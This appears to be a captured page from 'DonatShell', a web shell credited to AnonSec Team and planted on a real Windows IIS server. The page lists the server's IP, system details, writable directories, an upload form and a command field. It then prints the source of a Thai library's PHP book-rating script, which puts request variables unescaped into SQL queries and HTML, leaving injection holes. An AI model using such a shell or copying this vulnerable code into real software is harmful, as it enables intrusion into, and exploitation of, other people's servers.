DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.63
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/AppServ/www/umedia3/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/AppServ/www/umedia3/dublin.bibrating.php
<?
	include ("./inc/config.inc.php");
	html_start();
	$now=time();
	$s=tmq("select * from media where randid='$ID' ",false);
	if (tmq_num_rows($s)==0) {
		die("bib $ID not found");
	}
	include("./dublin.bibrating.inc.php");
	$setrate=floor($setrate);
	if ($giverate=="" && $IPADDR!="" && ($setrate>0 && $setrate<=5)) {
		$chk=tmq("select * from webpage_bibrating_log where bibid='$ID' and memid='$IPADDR' ",false);
		if (tmq_num_rows($chk)==0) {
			tmq("insert into webpage_bibrating_log set bibid='$ID' ,
			memid='$IPADDR' ,
			dt='$now' ,
			score='$setrate' 
			");
			bibrating_recal($ID);
		} 
	}

	bibrating_recal($ID);
	if ($giverate=="yes" && $IPADDR!="") {
		?><TABLE cellpadding=0 cellspacing=0 border=0 width=100% height=100%>
<TR>
	<TD align=center valign=middle
	style="background-image: url(./neoimg/bibrating/no.png); background-repeat: no-repeat; background-position: 50% 50%"
	><FONT class=smaller><? echo getlang("ให้เรื่องนี้กี่คะแนนดี::l::How much score to give");
	$star="<img src='./neoimg/bibrating/small.png' width=16 height=16 border=0>";
	?>?</FONT><BR>
<TABLE cellpadding=0 cellspacing=0 border=0 >
<TR>
	<TD><A HREF="dublin.bibrating.php?ID=<? echo $ID;?>&setrate=5" style='color: 0099FF;'><B>5</B> <? echo $star;echo $star;echo $star;echo $star;echo $star;?></A></TD>
</TR>
<TR>
	<TD><A HREF="dublin.bibrating.php?ID=<? echo $ID;?>&setrate=4" style='color: 0099FF;'><B>4</B> <? echo $star;echo $star;echo $star;echo $star;?></A></TD>
</TR>
<TR>
	<TD><A HREF="dublin.bibrating.php?ID=<? echo $ID;?>&setrate=3" style='color: 0099FF;'><B>3</B> <? echo $star;echo $star;echo $star;?></A></TD>
</TR>
<TR>
	<TD><A HREF="dublin.bibrating.php?ID=<? echo $ID;?>&setrate=2" style='color: 0099FF;'><B>2</B> <? echo $star;echo $star;?></A></TD>
</TR>
<TR>
	<TD><A HREF="dublin.bibrating.php?ID=<? echo $ID;?>&setrate=1" style='color: 0099FF;'><B>1</B> <? echo $star;?></A></TD>
</TR>
</TABLE>
<CENTER><A HREF="dublin.bibrating.php?ID=<? echo $ID;?>" class=smaller2 style="color: darkred"><? echo getlang("ยกเลิก::l::Cancel");?></A></CENTER>
	</TD>
</TR>
</TABLE><?
	
		die;
	}


	$s=tmq("select * from webpage_bibrating_sum where bibid='$ID' ");
	if (tmq_num_rows($s)==0) {
		$maintxt=getlang("ยังไม่เคยถูกให้คะแนน::l::Not rated yet");
		$foottxt=getlang("เชิญให้คะแนนเป็นคนแรก::l::Be the first");
	} else {
		$r=tmq_fetch_array($s);
		$score=number_format($r[votescore],1);
		$maintxt="<FONT style='font-size:40px;'>$score</FONT>";
		$votecount=number_format($r[votecount]);
		$foottxt=getlang("จากการให้คะแนน $votecount ครั้ง::l::From $votecount opinions");
	}

		$chk=tmq("select * from webpage_bibrating_log where bibid='$ID' and memid='$IPADDR' ");
		if (tmq_num_rows($chk)==0) {
			$votestr="<A HREF='dublin.bibrating.php?ID=$ID&giverate=yes' style='color: black;'><FONT class=smaller2 color=#0099FF>".getlang("คลิกที่นี่เพื่อให้คะแนน::l::Click here to vote")."</FONT></A>";
		} else {
			$votestr="<FONT class=smaller2 color=darkgray>".getlang("คุณเคยให้คะแนนไปแล้ว::l::You rated this record.")."</FONT>";
		}


	//for img
	$scoretxt=floor(($score*20)/5);
	$scoretxt=floor($scoretxt*5);
	//echo "[$scoretxt]";
	
?>
<TABLE cellpadding=0 cellspacing=0 border=0 width=100% height=100%  style="background-image: url(./neoimg/bibrating/ratingbg.png); background-repeat: no-repeat; background-position: 0% 0%"
>
<TR>
	<TD align=center valign=middle
	style="background-image: url(./neoimg/bibrating/s<? echo $scoretxt?>.png); background-repeat: no-repeat; background-position: 50% 50%; padding-top: 25px;"
	 style='color: black;'><BR>
	<? echo $maintxt;?><BR><font  style='color: darkred;'><img src="./neoimg/spacer.gif" width=60 height=8 border=0><BR>
	<? echo $foottxt;?><BR>
	<?
echo $votestr;
if (loginchk_lib("check")==true) {
	echo "<A HREF='./dublin.bibrating.hist.php?ID=$ID' target=_blank class=smaller2  style='color: darkred;'>[detail]";
	echo "</A>";
}

?><BR>
</font>
	</TD>
</TR>
</TABLE>

Anon7 - 2022
AnonSec Team